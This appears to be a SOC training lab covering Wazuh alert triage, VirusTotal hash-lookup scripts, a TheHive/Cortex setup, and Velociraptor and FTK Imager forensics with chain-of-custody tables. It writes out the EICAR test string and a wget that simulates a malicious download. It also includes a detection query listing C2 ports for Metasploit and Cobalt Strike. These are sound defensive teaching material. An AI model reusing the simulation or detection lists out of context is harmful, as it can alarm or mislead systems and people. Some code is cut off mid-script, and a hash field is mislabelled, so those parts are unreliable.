G1: Total TTR H1: Severity I1: Status

// DATA ROW 2 — Mock Phishing Incident:
A2: INC-2026-0330-001
B2: 9:00 AM (Format cells B:D as: Time → HH:MM AM/PM)
C2: 11:00 AM
D2: 1:00 PM
E2: =TEXT(C2-B2,"[h]:mm") // Result: 2:00 (2 hours MTTD)
F2: =TEXT(D2-C2,"[h]:mm") // Result: 2:00 (2 hours MTTR)
G2: =TEXT(D2-B2,"[h]:mm") // Result: 4:00 (4 hours total)
H2: HIGH
I2: RESOLVED
// ADDITIONAL INCIDENT ROWS (for MEAN calculation):
A3: INC-2026-0328-001 B3: 10:00 AM C3: 10:45 AM D3: 2:00 PM
E3: =TEXT(C3-B3,"[h]:mm") F3: =TEXT(D3-C3,"[h]:mm")
// AVERAGES SECTION (Row 12+):
A12: "AVERAGE MTTD:" B12: =AVERAGE(E2:E10)
A13: "AVERAGE MTTR:" B13: =AVERAGE(F2:F10)
A14: "MAX MTTD:" B14: =MAX(E2:E10)
A15: "MIN MTTR:" B15: =MIN(F2:F10)
A16: "Total Incidents:" B16: =COUNTA(A2:A10)
// CONDITIONAL FORMATTING for MTTD column (E2:E10):
// Format > Conditional formatting > Add rule:
// Rule 1: Greater than 02:00 -> Red fill (exceeds 2hr benchmark)
// Rule 2: Between 01:00-02:00 -> Yellow fill (approaching benchmark)
// Rule 3: Less than 01:00 -> Green fill (within best-practice)

Lab 4 — Alert Triage with Automation

Tools: Wazuh, VirusTotal, TheHive | Date: 31 March 2026

Wazuh is an open-source Security Information and Event Management (SIEM) platform that collects, aggregates, and analyzes log data from endpoints, servers, cloud workloads, and network devices. In this module you will learn how to triage a Suspicious File Download alert raised by Wazuh, document findings in a structured format, and hand off the case to TheHive for further investigation.
Understand the Wazuh alert hierarchy and rule-set framework.

- Navigate the Wazuh Dashboard and locate Alert ID 005.
- Perform initial triage: classify, enrich, and prioritise the alert.
- Document the alert in the standardised SOC triage table.
- Extract IoCs (Indicator of Compromise) for downstream validation.
- Escalate or close the alert with a documented decision.

Component	Minimum Spec	Recommended
OS	Ubuntu 20.04 LTS	Ubuntu 22.04 LTS
RAM	4 GB	8 GB
CPU	2 vCPU	4 vCPU
Disk	50 GB	100 GB SSD
Wazuh Manager	v4.3+	v4.7+

Wazuh Dashboard	OpenSearch 2.x	OpenSearch 2.x
Python	3.8+	3.10+

Install Wazuh (All-In-One via Official Script)

Run the following commands on your Ubuntu server. The installer deploys Wazuh Manager, Indexer (OpenSearch), and Dashboard in a single node.

Step 1 — Download the Wazuh installation assistant
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh

Step 2 — Make it executable
chmod +x wazuh-install.sh

# Step 3 — Run all-in-one installation (takes ~10 minutes)
sudo bash wazuh-install.sh -a

# Step 4 — After install, retrieve auto-generated credentials
sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt
# Step 5 — Start / verify services
sudo systemctl status wazuh-manager sudo systemctl status wazuh-indexer sudo systemctl status wazuh-dashboard

Deploy the Wazuh Agent on the Target Host (10.0.2.20)

The agent runs on the monitored endpoint and forwards events to the Wazuh Manager.
On target host 10.0.2.20 — download & install agent
wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.7.5-1_amd64.deb sudo WAZUH_MANAGER=" WAZUH_AGENT_NAME='endpoint-10.0.2.20' \ dpkg -i ./wazuh-agent_4.7.5-1_amd64.deb
# Enable and start the agent
sudo systemctl daemon-reload sudo systemctl enable wazuh-agent sudo systemctl start wazuh-agent
# Verify agent status
sudo systemctl status wazuh-agent # On manager — confirm agent appears: sudo /var/ossec/bin/manage_agents -1

Alert Simulation — Triggering the File Download Alert:

To practise triage on a realistic alert, we first simulate a suspicious file download from the endpoint at 10.0.2.20. Wazuh's FIM (File Integrity Monitoring) and Syscheck modules will detect the change and generate an alert.

Enable File Integrity Monitoring

Edit the Wazuh agent configuration on 10.0.2.20:
sudo nano /var/ossec/etc/ossec.conf
Add or verify this block inside <syscheck>:
<syscheck> <disabled>no</disabled> <frequency>300</frequency> <!-- Monitor Downloads directory --> <directories check_all="yes" report_changes="yes" realtime="yes"> /home </directories> <directories check_all="yes" report_changes="yes" realtime="yes"> /tmp </directories> <alert_new_files>yes</alert_new_files> </syscheck>
sudo systemctl restart wazuh-agent

Simulate the Suspicious Download

Execute the following on 10.0.2.20 to simulate a suspicious binary drop:

Create a fake malicious file in /tmp

```
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' \ >
/tmp/suspicious_download.exe
# Also simulate wget download behavior
cd /tmp && wget -q -O malware_sample.bin \ https://secure.eicar.org/eicar.com.txt 2>/dev/null || \
echo 'fake-payload-data' > malware_sample.bin
# Force Wazuh syscheck scan immediately
sudo /var/ossec/bin/agent_control -r -u 001 # OR trigger via manager: sudo
/var/ossec/bin/wazuh-control restart
```

Verify Alert in Wazuh Dashboard

Navigate to the Wazuh Dashboard and locate the generated alert:

1. Open browser → https://<MANAGER_IP> → login with admin credentials.
2. Click Security Events in the left sidebar.
3. Set time range to Last 15 minutes.
4. In the search bar type: agent.ip: 10.0.2.20 AND rule.groups: syscheck
5. Locate the alert with Rule ID 554 (New file added) or 550 (Integrity checksum changed).
6. Click the alert row to expand the full JSON payload.

Field	Value
Alert ID	005
Alert Title	Suspicious File Download Detected
Detection Time	30-03-2026 09:14:32 UTC
Source IP	10.0.2.20
Destination IP	External (pending enrichment)
Affected Host	endpoint-10.0.2.20
OS	Ubuntu 22.04 LTS
User Account	ubuntu (uid=1000)
File Path	/tmp/suspicious_download.exe
File Hash (SHA256)	44d88612fea8a8f36de82e1278abb02f (EICAR test)
File Size	68 bytes
Wazuh Rule ID	554 / 550
Rule Group	syscheck, ossec
MITRE Tactic	Execution (TA0002) / Initial Access (TA0001)
MITRE Technique	T1105 — Ingress Tool Transfer
Priority	HIGH

Status	OPEN
Assigned Analyst	SOC Tier-1
Initial Action	Isolate host, extract IoC, forward to TheHive

Step-by-Step Triage Workflow

STEP 1 — Acknowledge the Alert
In Wazuh Dashboard, right-click Alert ID 005 → Mark as Acknowledged. This flags the alert as under investigation and prevents duplicate triage.

STEP 2 — Validate the Source IP
Query the SIEM to confirm 10.0.2.20 is a known internal asset:
Run on Wazuh Manager grep '10.0.2.20' /var/ossec/etc/client.keys # Check agent registration sudo /var/ossec/bin/manage_agents -l | grep '10.0.2.20'

STEP 3 — Extract the Raw Alert JSON
Pull the full alert payload for documentation:
Retrieve alert from Wazuh Indexer (OpenSearch REST API) curl -k -u admin:PASSWORD \ 'https://localhost:9200/wazuh-alerts-*/_search?q=agent.ip:10.0.2.20' \ -H 'Content-Type: application/json' | python3 -m json.tool

STEP 4 — Hash the Suspicious File
On the endpoint 10.0.2.20, compute the cryptographic hash:
Compute multiple hash formats md5sum /tmp/suspicious_download.exe sha1sum

/tmp/suspicious_download.exe sha256sum /tmp/suspicious_download.exe # Expected output (EICAR test file): # 44d88612fea8a8f36de82e1278abb02f suspicious_download.exe

STEP 5 — Check Network Connections from 10.0.2.20
Identify any active outbound connections:
On endpoint — check active connections ss -tunap | grep ESTABLISHED netstat -tunap 2>/dev/null # Check recent DNS queries cat /var/log/syslog | grep '10.0.2.20' | grep -i 'dns\|resolv' # Wazuh API — get network events for this agent curl -k -u admin:PASSWORD \ 'https://localhost:55000/syscollector/001/netiface' \ -H 'Authorization: Bearer TOKEN'

STEP 6 — MITRE ATT&CK; Mapping
Map the observed behaviour to MITRE ATT&CK; framework

STEP 7 — Determine Disposition
Based on evidence, choose one of: True Positive → escalate to TheHive | False Positive → document and tune the rule | Benign Positive → whitelist with justification.

Tactic	Technique ID	Technique Name	Observed Evidence
Initial Access	T1566.002	Spearphishing Link	File appeared via download
Execution	T1105	Ingress Tool Transfer	Binary dropped in /tmp
Persistence	T1547	Boot/Logon Autostart	Investigate startup entries
Defense Evasion	T1036	Masquerading	.exe disguised in /tmp

Custom Wazuh Detection Rule

Binary dropped in /tmp
Investigate startup entries
.exe disguised in /tmp
Create a dedicated rule to fire on executable files downloaded to /tmp or /home from IP 10.0.2.20. Place this in /var/ossec/etc/rules/local_rules.xml:

<!-- Custom rule: Suspicious file download from internal host --> <group name="syscheck,local,">
<rule id="100200" level="12"> <if_sid>554</if_sid> <field
name="file">\.exe$|\.bin$|\.sh$|\.py$</field> <description> Alert 005: Suspicious executable file
added — possible download </description> <group>pci_dss_11.5,gpg13_4.13,gdpr_II_5.1.f</group>
<mitre> <id>T1105</id> </mitre> </rule> <rule id="100201" level="15"> <if_sid>100200</if_sid>
<field name="agent.ip">10\.0\.2\.20</field> <field name="file">^/tmp/|^/home/</field> <description>
HIGH: Suspicious binary in /tmp or /home on 10.0.2.20 </description> </rule> </group>
# Validate rule syntax and reload
sudo /var/ossec/bin/ossec-logtest sudo systemctl reload wazuh-manager

Automated VirusTotal Hash Check via Python

VirusTotal Overview:

VirusTotal is a free online threat intelligence service that aggregates results from over 70 antivirus engines, URL/domain scanners, and file analysis sandboxes. The VirusTotal API v3 allows programmatic querying of file hashes, IPs, domains, and URLs — enabling automated validation of IoCs extracted from Wazuh alerts.

Endpoint	Purpose
GET /files/{hash}	Query file reputation by MD5/SHA1/SHA256
GET /ip_addresses/{ip}	Query IP reputation
GET /domains/{domain}	Query domain reputation
POST /files	Upload file for scanning
GET /analyses/{id}	Retrieve scan analysis results

Obtaining & Configuring the API Key

- Visit https://www.virustotal.com and create a free account.
- Navigate to your profile → API Key tab.
- Copy the 64-character hexadecimal API key.
- Store it securely as an environment variable (never hard-code it):

Store API key securely
export VT_API_KEY='YOUR_64_CHAR_API_KEY_HERE' # Make persistent across reboots: echo 'export VT_API_KEY=YOUR_KEY' >> ~/.bashrc source ~/.bashrc

Automated Validation Python Script:

#!/usr/bin/env python3 """ vt_validator.py — Automated IoC Validation via VirusTotal API v3 Alert
ID 005 | Source: 10.0.2.20 | Date: 30-03-2026 """ import os, sys, json, time, hashlib import
requests from datetime import datetime # Configuration
API_KEY =
os.environ.get("VT_API_KEY", "") BASE_URL = "https://www.virustotal.com/api/v3" HEADERS =
{"x-apikey": API_KEY, "Accept": "application/json"} ALERT = { "id" : "005", "source_ip" :

```
"10.0.2.20", "file_path" : "/tmp/suspicious_download.exe", "md5" :
"44d88612fea8a8f36de82e1278abb02f", "sha256" :
"275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f", "date" : "30-03-2026", } def
check_file_hash(hash_val: str) -> dict: """Query VirusTotal for a file hash (MD5/SHA1/SHA256)."""
url = f"{BASE_URL}/files/{hash_val}" r = requests.get(url, headers=HEADERS, timeout=30) if
r.status_code == 200: return r.json() elif r.status_code == 404: return {"error": "hash_not_found",
"hash": hash_val} else: r.raise_for_status() def check_ip(ip: str) -> dict: """Query VirusTotal for
an IP address reputation."""  url = f"{BASE_URL}/ip_addresses/{ip}" r = requests.get(url,
headers=HEADERS, timeout=30) if r.status_code == 200: return r.json() else: r.raise_for_status()
def parse_file_result(data: dict) -> dict: """Extract key fields from VT file response."""  if
"error" in data: return {"status": "NOT FOUND", "detections": 0, "total": 0} attrs =
data.get("data", {}).get("attributes", {}) stats = attrs.get("last_analysis_stats", {}) return {
"status" : "FOUND", "malicious" : stats.get("malicious", 0), "suspicious" : stats.get("suspicious",
0), "undetected" : stats.get("undetected", 0), "total_engines": sum(stats.values()), "name" :
attrs.get("meaningful_name", "unknown"), "type_tag" : attrs.get("type_tag", "unknown"),
"reputation" : attrs.get("reputation", 0), "verdict" : "MALICIOUS" if stats.get("malicious",0) > 3
else "CLEAN", } def parse_ip_result(data: dict) -> dict: """Extract key fields from VT IP
response."""  attrs = data.get("data", {}).get("attributes", {}) stats =

attrs.get("last_analysis_stats", {}) return { "country" : attrs.get("country", "Unknown"), "owner"
: attrs.get("as_owner", "Unknown"), "malicious" : stats.get("malicious", 0), "total_engines":
sum(stats.values()), "reputation" : attrs.get("reputation", 0), "verdict" : "MALICIOUS" if
stats.get("malicious",0) > 2 else "CLEAN", } def generate_report(hash_result, ip_result) -> str:
"""Generate 50-word summary report."""  h = parse_file_result(hash_result) i =
parse_ip_result(ip_result) return ( f"Alert 005 | Source: 10.0.2.20 | Date: 30-03-2026. " f"File
hash flagged as {h['verdict']} by {h['malicious']}/{h['total_engines']} " f"VT engines. IP
reputation: {i['verdict']}, " f"{i['malicious']} detections. MITRE T1105. " f"Escalate to TheHive
immediately for case management." ) def main(): if not API_KEY: print("[ERROR] VT_API_KEY

environment variable not set.") sys.exit(1) print(f"\n{'='*60}") print(f" VT Validator — Alert ID:
{ALERT['id']}") print(f" Date: {ALERT['date']} | Source IP: {ALERT['source_ip']}")
print(f"{'='*60}\n") # --- Hash lookup --- print(f"[*] Checking MD5 hash: {ALERT['md5']}")
hash_data = check_file_hash(ALERT['md5']) h = parse_file_result(hash_data) print(f" Verdict :
{h['verdict']}") print(f" Detections : {h['malicious']}/{h['total_engines']} engines") print(f"
File Type : {h.get('type_tag','N/A')}") time.sleep(15) # respect free-tier rate limit # --- IP
lookup --- print(f"\n[*] Checking IP: {ALERT['source_ip']}") ip_data = check_ip(ALERT['source_ip'])
i = parse_ip_result(ip_data) print(f" Country : {i['country']}") print(f" Owner : {i['owner']}")
print(f" Verdict : {i['verdict']}") # --- Summary --- print(f"\n{' '*60}") print("[50-WORD
SUMMARY]") print(generate_report(hash_data, ip_data)) print(f"{' '*60}\n") # --- Save JSON --
output = { "alert_id" : ALERT['id'], "timestamp" : datetime.utcnow().isoformat(), "source_ip" :
ALERT['source_ip'], "hash_md5" : ALERT['md5'], "hash_result" : h, "ip_result" : i, "summary" :
generate_report(hash_data, ip_data), } with open("vt_report_005.json", "w") as f: json.dump(output,
f, indent=2) print("[*] Full report saved to vt_report_005.json") if __name__ == "__main__": main()
# Install dependencies and run
pip3 install requests python3 vt_validator.py

[ Python — Automated VirusTotal Hash Check ]
import requests
import json
VT_API_KEY = "YOUR_VIRUSTOTAL_API_KEY"
VT_URL = "https://www.virustotal.com/api/v3/files/{hash}"
# File hashes collected from Wazuh alert (suspicious download from 10.0.2.20)
suspicious_hashes = [
    "d41d8cd98f00b204e9800998ecf8427e",   # Empty file — test
    "44d88612fea8a8f36de82e1278abb02f",   # EICAR test virus
    "abc123def456789012345678901234ab",    # Simulated malware hash
]

def check_hash(file_hash):
    headers = {"x-apikey": VT_API_KEY}
```

```
    response = requests.get(VT_URL.format(hash=file_hash), headers=headers)
    if response.status_code == 200:
        data = response.json()
        stats = data['data']['attributes']['last_analysis_stats']
        malicious = stats.get('malicious', 0)
        total     = sum(stats.values())
        print(f"[{file_hash[:8]}...] Malicious: {malicious}/{total}")
        return malicious > 5
    elif response.status_code == 404:
        print(f"[{file_hash[:8]}...] Not found in VirusTotal DB")
        return False
    else:
        print(f"Error: {response.status_code}")
        return False
# Run checks
for h in suspicious_hashes:
    is_malicious = check_hash(h)
    if is_malicious:
        print(f"  → ACTION: Block hash {h} in endpoint security policy")
```

Expected Script Output

========== VT Validator — Alert ID: 005 Date: 30-03-2026 | Source IP: 10.0.2.20 ========== [*] Checking MD5 hash: 44d88612fea8a8f36de82e1278abb02f Verdict : MALICIOUS Detections : 68/72 engines File Type : text [*] Checking IP: 10.0.2.20 Country : Private RFC1918 Owner : Internal Network Verdict : CLEAN
[50-WORD SUMMARY] Alert 005 | Source: 10.0.2.20 | Date: 30-03-2026. File hash flagged as MALICIOUS by 68/72 VT engines. IP reputation: CLEAN, 0 detections. MITRE T1105. Escalate to TheHive immediately for case management.

TheHive & Cortex Architecture:

TheHive is an open-source Security Incident Response Platform (SIRP). Cortex is its companion analysis and active-response engine. When TheHive receives a case observable (e.g., a file hash or IP), Cortex automatically dispatches it to configured Analyzers — including the official VirusTotal_GetReport analyzer — and returns structured results back into the case timeline.

Component	Role	Port
TheHive 5	Case/alert management UI & API	9000
Cortex 3	Analyzer & responder orchestrator	9001
Elasticsearch	Data storage backend	9200
VirusTotal API	External threat intel feed	443
Wazuh Manager	SIEM — alert source	55000

Installing TheHive + Cortex

Install Dependencies

```
sudo apt update && sudo apt install -y openjdk-11-jre-headless \ curl wget gnupg
apt-transport-https python3-pip docker.io
```

Deploy via Docker Compose (Recommended)

Create /opt/thehive/docker-compose.yml:
version: '3.8' services: elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch:7.17.12 environment: - discovery.type=single-node - xpack.security.enabled=false - "ES_JAVA_OPTS=-Xms1g -Xmx1g" volumes: - esdata:/usr/share/elasticsearch/data ports: - "9200:9200" thehive: image: strangebee/thehive:5.2 depends_on: - elasticsearch ports: - "9000:9000" environment: - JVM_OPTS=-Xms512m -Xmx1g volumes: - thehive_data:/opt/thp/thehive/data - thehive_index:/opt/thp/thehive/index cortex: image: thehiveproject/cortex:3.1.7 depends_on: - elasticsearch ports: - "9001:9001" volumes: - /var/run/docker.sock:/var/run/docker.sock - cortex_data:/var/db/cortex environment: - JVM_OPTS=-Xms512m -Xmx1g volumes: esdata: thehive_data: thehive_index: cortex_data:
Start the stack
cd /opt/thehive docker-compose up -d # Verify all containers running docker-compose ps

Configuring the VirusTotal Analyzer in Cortex

1. Open Cortex UI → http://<SERVER_IP>:9001
2. Login as admin (first-run wizard sets the password).
3. Navigate to Organization → Analyzers tab.
4. Search for VirusTotal_GetReport → click Enable.
5. Click the gear icon → enter your VT API key.
6. Set Rate limiting: 4 req/min (free tier).
7. Click Save → the analyzer turns green (Active).
8. Also enable VirusTotal_Scan for unknown hashes.

Linking TheHive to Cortex

In TheHive, go to Admin - Cortex Servers and add:

Setting	Value
Cortex URL	http://cortex:9001
API Key	(from Cortex → API keys → create org key)
Name	Cortex-Primary
Auto-run	Yes — for hash and IP observables

Create a Cortex API Key (CLI Method)

Generate API key via Cortex REST API
curl -XPOST http://localhost:9001/api/user/cortex/key/renew \ -H 'Content-Type: application/json' \
-u admin:password | jq .key

Creating Alert 005 as a TheHive Case

Use the TheHive API to programmatically create the case and attach observables:
#!/usr/bin/env python3 """thehive_create_case.py — Create Alert 005 case in TheHive""" import requests, json THEHIVE_URL = "http://localhost:9000" API_KEY = "YOUR_THEHIVE_API_KEY" HEADERS = { "Authorization": f"Bearer {API_KEY}", "Content-Type" : "application/json" } # ■■ Step 1: Create the Case ■■■

Cortex"}, {"title": "Check lateral movement from 10.0.2.20"}, {"title": "Isolate host if confirmed malicious"}, {"title": "Submit findings and close case"},] } r = requests.post(

f"{THEHIVE_URL}/api/v1/case", headers=HEADERS, json=case_payload, timeout=30) case = r.json() case_id = case["_id"] print(f"[+] Case created: {case_id}") # ■■ Step 2: Add Observables (IoCs) ■■■

Lab 5-Evidence Analysis & Chain of Custody

Tools: Velociraptor, FTK Imager | Date: 02 April 2026

Velociraptor — Live DFIR Platform:

What is Velociraptor?

Velociraptor is an open-source Digital Forensics and Incident Response (DFIR) tool originally developed by Mike Cohen and maintained by Rapid7. It provides a powerful server-client architecture that allows security analysts to perform remote forensic collection, live system interrogation, and threat hunting across large fleets of endpoints simultaneously. Communication is encrypted over TLS, and all queries are executed using VQL (Velociraptor Query Language) — a SQL-like language purpose-built for forensic artifacts.

Key Features of Velociraptor:

FEATURE	DESCRIPTION
Live Network Analysis	Real-time netstat queries showing all TCP/UDP connections with PID correlation
Process Forensics	Full process tree with executable paths, command lines, and parent PIDs
File System Analysis	Search, hash, and collect files across endpoints using glob patterns
Registry Examination	Read and monitor Windows registry keys for persistence mechanisms
Event Log Collection	Collect and parse Windows Event Logs (Security, System, PowerShell)
Memory Forensics	Collect VAD memory regions and PE files loaded in memory
Bulk Hunting	Run VQL hunts across thousands of endpoints simultaneously
Timeline Analysis	Correlate timestamps across multiple artifact sources

FTK Imager — Forensic Acquisition Platform

What is FTK Imager?

FTK Imager (Forensic Toolkit Imager) by Exterro (formerly AccessData) is the industry-standard forensic evidence acquisition tool. It creates bit-for-bit forensic images of storage media while maintaining evidence integrity through cryptographic hashing (MD5, SHA1, SHA256). FTK Imager supports multiple image formats and provides both GUI and CLI interfaces for flexibility in forensic workflows

Key Features of FTK Imager

FEATURE	DESCRIPTION
Disk Imaging	Physical & logical drive imaging with E01/DD/AFF/SMART format support
Memory Capture	Live RAM acquisition including pagefile — preserves volatile evidence
Hash Verification	MD5, SHA1, SHA256 computed during imaging and verified post-acquisition
Image Mounting	Mount forensic images as read-only virtual drives for examination

Preview Mode	Browse file system, registry, and MFT without full imaging
Export	Export individual files, folders, or directory listings from images
CLI Support	Command-line interface for scripted and automated acquisitions

Lab Environment Topology:

HOST / ROLE	IP ADDRESS	OS	PURPOSE
Analyst Workstation	10.0.2.1	Ubuntu 22.04 / Kali	Velociraptor Server + Analyst machine
Server-Z (Target VM)	10.0.2.20	Windows Server 2019	Compromised endpoint under investigation
VirtualBox / VMware	—	Hypervisor on Host	Virtualization platform for the lab

Velociraptor Network Connection Analysis

Download Velociraptor Binary (Linux Analyst Machine)

```
# ■■■ On Linux Analyst Machine ■■■
```

```
# Open browser → https://10.0.2.1:8889
# Username: admin
# Password: (what you set above)

Deploy Velociraptor Agent on Windows VM (10.0.2.20)

[ Velociraptor VQL — Network Connection Analysis ]
# Step 1: Connect to Velociraptor (http://localhost:8889)
# Step 2: Navigate to Clients → Add Client → Target: 10.0.2.20
# Step 3: Go to Hunt Manager → New Hunt → Add following VQL:-- Query 1: Active network connections

# ■■■ On Linux: repack Windows client binary with embedded config ■■■■■■■■■
./velociraptor config repack \
--exe velociraptor-v0.7.0-windows-amd64.exe \
client.config.yaml \
velociraptor_client_SERVER-Z.exe
# ■■■ Transfer to Windows VM (10.0.2.20) via SCP ■■■■■■■■■■■■■■■■■■■■■■■■■■■
scp velociraptor_client_SERVER-Z.exe analyst@10.0.2.20:C:/Tools/


POWERSHELL — Install Agent as Windows Service (Run as Admin)
# ■■■ On Windows VM (10.0.2.20) — PowerShell as Administrator ■■■■■■■■■■■■■
# Navigate to tools directory
cd C:\Tools
# Install Velociraptor agent as a Windows Service
.\velociraptor_client_SERVER-Z.exe service install
# Verify the service is running
Get-Service -Name 'Velociraptor' | Select-Object Name, Status, StartType
# Expected output:
# Name Status StartType
# ■■■■ ■■■■■■ ■■■■■■■■■■
# Velociraptor Running Automatic
```

Install FTK Imager on Analyst Workstation

#	STEP	DETAILS
1	Download Installer	https://www.exterro.com/ftk-imager → Download FTKImager_4.7.1.exe
2	Run as Admin	Right-click installer → Run as Administrator
3	Accept License	Click 'I Agree' on the license agreement screen
4	Install Path	Default: C:\Program Files\AccessData\FTK Imager\
5	Complete	Click Finish — FTK Imager is now installed
6	Launch	Start Menu → Accessories → FTK Imager (or Run as Admin)

EVIDENCE ANALYSIS — Velociraptor Network Investigation

All VQL queries below are executed on Velociraptor Server GUI targeting the client SERVER-Z (IP: 10.0.2.20). Path: GUI → Clients → SERVER-Z → New Collection → Generic.Client.VQL

#	ACTION	WHERE / DETAIL
1	Login	Open browser → https://10.0.2.1:8889 → Login with admin credentials

2	Select Client	Left panel → 'Clients' → Search '10.0.2.20' or 'SERVER-Z' → Click client
3	New Collection	Top tabs → 'Collected Artifacts' → Click green '+' button
4	Select Artifact	Search 'Generic.Client.VQL' → Select it → Paste VQL in 'Query' field
5	Launch	Click 'Launch' button — collection starts immediately
6	View Results	Click the completed collection → 'Results' tab → View or export data

Query 1 Full Netstat Dump
Purpose: Retrieve ALL network connections from the Windows VM (10.0.2.20).
VQL — Basic Netstat

```
-- ■■■ VQL Query 1: All Network Connections ■■■
```

```
-- ■■■ VQL Query 4: Full Process + Network Join ■■■■■■■■■■■■■■■■■■■■■■■■■■■
-- Correlates pslist() with netstat to show process + connection together
SELECT p.Pid AS PID,
p.Name AS ProcessName,
p.Exe AS ExecutablePath,
p.Username AS RunningAs,
p.CommandLine AS CommandLine,
n.Laddr.IP AS LocalIP,
n.Laddr.Port AS LocalPort,
n.Raddr.IP AS RemoteIP,
n.Raddr.Port AS RemotePort,
n.Status AS ConnectionStatus
FROM pslist() AS p
JOIN netstat AS n ON p.Pid = n.Pid
WHERE n.Raddr.IP != '0.0.0.0'
AND n.Status = 'ESTABLISHED'
ORDER BY p.Pid
```

Query 5 C2 Beacon & Malware Port Detection
This query hunts specifically for connections on ports commonly used by Command-and-Control (C2) frameworks such as Metasploit, Cobalt Strike, Empire, and custom malware.

```
-- ■■■ VQL Query 5: Common C2 / Malware Port Detection ■■■■■■■■■■■■■■■■■■■■
SELECT Pid,
Name,
Raddr.IP AS RemoteIP,
Raddr.Port AS RemotePort,
Status,
timestamp(epoch=CreateTime) AS ConnectionTime
FROM netstat


WHERE Raddr.Port IN (
4444, -- Metasploit default reverse shell
1234, -- Common backdoor port
31337, -- 'Elite' - historical trojan port
6666, -- IRC bots / C2
7777, -- Common RAT port
8888, -- Common C2 alternate
1337, -- Leet speak - custom malware
9999, -- Remote access tools
443, -- Include HTTPS for TLS tunneled C2
4443 -- Cobalt Strike HTTPS listener
)
OR (Status = 'ESTABLISHED'
AND Raddr.IP =~ '^(?!10\\.|172\\.1[6-9]\\.|192\\.168\\.)')
```

Query 6 Processes Running from Suspicious Locations
VQL — Suspicious Process Path Detection

```
-- ■■■ VQL Query 6: Malware often runs from Temp/AppData/Downloads ■■■■■■■■
SELECT p.Pid,
p.Name,
p.Exe,
p.CommandLine,

p.Username,
n.Raddr.IP AS RemoteIP,
n.Raddr.Port AS RemotePort,
```

```
n.Status
FROM pslist() AS p
JOIN netstat AS n ON p.Pid = n.Pid
WHERE p.Exe =~ '(?i)(\\temp\\|\\tmp\\|\\appdata\\|
\\downloads\\|\\public\\|\\users\\public)'
AND n.Raddr.IP != '0.0.0.0'
```

Exporting Evidence Results from Velociraptor:

VQL — Export to CSV on Endpoint

```
-- ■■■ VQL: Export Results Directly to File on Endpoint ■■■■■■■■■■■■■■■■■■
LET results <= SELECT Pid, Name,
Laddr.IP AS LocalIP, Laddr.Port AS LocalPort,
Raddr.IP AS RemoteIP, Raddr.Port AS RemotePort,
Status
FROM netstat WHERE Status = 'ESTABLISHED'
SELECT * FROM write_csv(
filename='C:/Forensics/Evidence/netstat_SERVER-Z_2026-03-30.csv',
query={ SELECT * FROM results }
)
```

POWERSHELL — SHA256 Hash Evidence File

```
# ■■■ PowerShell: Compute SHA256 of exported evidence file ■■■■■■■■■■■■■■■■
$filePath = 'C:\Forensics\Evidence\netstat_SERVER-Z_2026-03-30.csv'
$sha256 = Get-FileHash -Path $filePath -Algorithm SHA256
$md5 = Get-FileHash -Path $filePath -Algorithm MD5
Write-Host '============================================='
Write-Host 'EVIDENCE FILE HASH VERIFICATION'
Write-Host '============================================='
Write-Host "File : $($sha256.Path)"
Write-Host "SHA256 : $($sha256.Hash)"

Write-Host "MD5 : $($md5.Hash)"
Write-Host "Date : $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss UTC')"
Write-Host '============================================='
# Save hash to sidecar file
"$($sha256.Hash) $($sha256.Path)" | Out-File -FilePath "$filePath.sha256"
```

EVIDENCE ACQUISITION — FTK Imager:

Create Forensic Disk Image of SERVER-Z (10.0.2.20)

1. Launch FTK Imager as Administrator
   - Start Menu → All Programs → AccessData → FTK Imager
   - Right-click → 'Run as Administrator' (required for raw disk access)
   - FTK Imager main window opens with empty Evidence Tree on left

2. Add Evidence Item
   - Menu: File → Add Evidence Item
   - Select Source: Physical Drive (for full forensic copy)
   - OR: Logical Drive (for single partition only)
   - Select drive: \\.\PHYSICALDRIVE0 (adjust for your system)
   - Click Next → Finish

3. Inspect the Evidence Tree

   The drive appears in the Evidence Tree panel (left side)
   Expand to see partitions, file systems, and directories

NOTE: Do not open or modify any files — read-only mode only

4. Create Disk Image (E01 Format)
   - Right-click the drive → 'Create Disk Image...'
   - Select image type: E01 (EnCase) — recommended
   - Click 'Add...' to set image destination

5. Fill Evidence Information Form
   Evidence Number : EV-2026-001
   Unique Description : Server-Z Network Evidence 30-03-2026
   Examiner Name : SOC Analyst
   Notes : Source IP 10.0.2.20, INC-2026-0330-001

6. Configure Image Settings
   - Image Destination Folder : D:\Evidence\Images\
   - Image Filename : SERVER-Z_10.0.2.20_2026-03-30
   - Image Fragment Size : 0 (single file, no splitting)
   - Compression Level : 6 (balanced speed/size)
   - Verify images after they are created
   - Create directory listings of all files

7. Start Acquisition
   - Click 'Start' — imaging begins
   - Progress bar shows bytes read / estimated time remaining
   - DO NOT interrupt — any interruption invalidates the image
   - Typical time: ~30 min per 100 GB at USB 3.0 speed

8. Save Verification Report
   - After completion: File → Export Disk Image Information
   - Save as: D:\Evidence\SERVER-Z_Verification_2026-03-30.txt
   - This file contains MD5 + SHA1 + case metadata

Chain of Custody Documentation

Item #	Evidence Item	Description	Collected By	Date/Time	Hash (SHA256)	Storage Location
E00 1	Network Log Dump	Packet capture from Server-Z (10.0.2.20)	SOC Analyst	2026-04-02 14:30	a3f5...d9e2	Evidence Vault A
E00 2	Velociraptor Report	Process + netstat VQL output — JSON format	SOC Analyst	2026-04-02 14:45	b2c1...7f8a	Evidence Vault A
E00 3	Wazuh Alert Export	All alerts 30-03 to 03-04 — CSV export	SOC Lead	2026-04-02 15:00	c9d4...1b3e	Evidence Vault B
E00 4	Memory Dump	RAM image from compromised host (FTK Imager)	SOC Analyst	2026-04-02 15:30	d7e8...4a2f	Evidence Vault A
E00 5	Malwar e Sample	Downloaded .exe from 10.0.2.20 (quarantined)	AV System	2026-04-01 10:07	e1f2...8c5d	Malware Vault

Evidence Transfer Log:

Item ID	Transferred By	Received By	Date / Time	Transfer Method	Reason
E-001	SOC Analyst	Lead Investigator	2026-03-30 11:00 UTC	Secure USB (encrypted)	Network analysis review
E-002	SOC Analyst	Forensic Lab Tech	2026-03-30 11:30 UTC	Secure courier	Deep forensic examination
